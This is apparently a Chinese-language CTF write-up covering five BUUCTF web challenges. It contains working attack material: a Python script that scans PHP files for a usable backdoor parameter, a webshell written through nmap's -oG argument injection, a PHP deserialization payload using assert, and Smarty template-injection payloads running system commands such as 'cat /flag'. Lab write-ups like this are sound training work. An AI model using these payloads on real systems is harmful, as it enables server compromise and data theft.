BUUCTF-WEB(51-55)

[强网杯 2019]高明的黑客

参考:[强网杯 2019]高明的黑客(考察代码编写能力)-CSDN博客

网站源码一下,一堆木马,我们需要找到能用的

就是跑脚本

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1 = threading.Semaphore(10)
filePath = r'D:/EdgeDownload/www/src'
os.chdir(filePath) # 切换到工作目录
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False
def get_content(file):
    s1.acquire()
    print('trying  '+file+'  '+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:
        gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read())) # 匹配GET的参数
        posts = list(re.findall('\$_POST\[\'(.*?)\'\]',f.read())) # 匹配POST的参数
        params = {} # 所有的$_GET
        data = {} # 所有的$_POST
        for m in gets:
            params[m] = "echo 'xxxx';"
        for n in posts:
            data[n] = "echo 'xxxx';"
        url = 'http://e724c6e7-7d75-4786-a519-0c8ef9d3cccd.node5.buuoj.cn:81/'+file
        req = session.post(url,data=data,params=params)
        req.close()
        req.encoding = 'utf-8'
        content = req.text
        if 'xxxx' in content:
            flag = 0
            for a in gets:# 发送GET请求验证
                req = session.get(url+'?%s='%a+"echo 'xxxx';")
                content = req.text
                req.close()
                if 'xxxx' in content:
                    flag = 1
                    break
            if flag != 1:
                for b in posts: # 如果不是GET就发送POST
                    req = session.post(url,data={b:"echo 'xxxx';"})
                    content = req.text
                    req.close()
                    if 'xxxx' in content:
                        break
            if flag == 1:
                param = a
            else:
                param = b
            print('找到了利用文件:'+file+'以及利用的参数:'+param)
            print('结束时间'+time.asctime(time.localtime(time.time())))
    s1.release()
for i in files:
    t = threading.Thread(target=get_content,args=(i,))
    t.start()

然后就在 xk0SzyKwfzw.php找到Efa5BVG

/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

[ASIS 2019]Unicorn shop

参考:

[BUUCTF ASIS 2019] Unicorn shop_[asis 2019]unicorn shop-CSDN博客

我想买个最贵的马不让买

id=4&price=1337

推测就是需要Unicode码大于1337

我们去compart搜索比1337大的Unicode - Compart

搜索 two thousand

用这一个买马就行了

得到flag

[网鼎杯 2020 朱雀组]Nmap

参考:

[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

[网鼎杯 2020 朱雀组]Nmap 1 - AikNr - 博客园 (cnblogs.com)

考的是namp一个参数的使用

-oG 写入文件,这样我们可以给一句话木马写入

127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.php'

换一下后缀试试

127.0.0.1 | ' <?php eval($_POST['cmd']);?> -oG test.phtml'

还是不行

127.0.0.1 | ' <=php eval($_POST['cmd']);?> -oG test.phtml'

最后这样(注意记得空格,单引号前后)

127.0.0.1 | ' <?= @eval($_POST["cmd"]);?> -oG test.phtml '

可以被解析

连接一下拿到flag

[NPUCTF2020]ReadlezPHP

参考:

【php】assert函数的用法_php assert(-CSDN博客

我们在源码处找到

点进来是个源码

很明显我们需要构造反序列化,就在echo $b($a)处可以触发

那这里我们去使用assert,因为eval的条件很严格,eval()内的php指令需要严格按照双引号包裹,然后里面必须有;

如图所示

第一条指令可以执行,第二条却不行

O:8:"HelloPhp":2:{s:1:"a";s:10:"phpinfo();";s:1:"b";s:6:"assert";}

这道题也是很幸运,flag就在phpinfo

[CISCN2019 华东南赛区]Web11

打开后,发现会显示你的ip

那他怎么检测出来的,那绝对是XFF,后面又看到他说是基于Smarty搭建

那我们就想到是在XFF这里模块注入,我们试试吧

返回了

所以这让我们模块注入Smarty模板注入&CVE-2017-1000480 - 先知社区 (aliyun.com)

这边我们可以用{if}{/if}

我们先试试phpinfo成功执行

{if phpinfo()}{/if}

接下来我们获取目录

{if system('ls /')}{/if}

获取flag

{if system('cat /flag')}{/if}

热门相关:婚婚欲睡:腹黑老公请节制   婚婚欲醉:腹黑老公萌宠妻   千夫斩   吹神   寻情仙使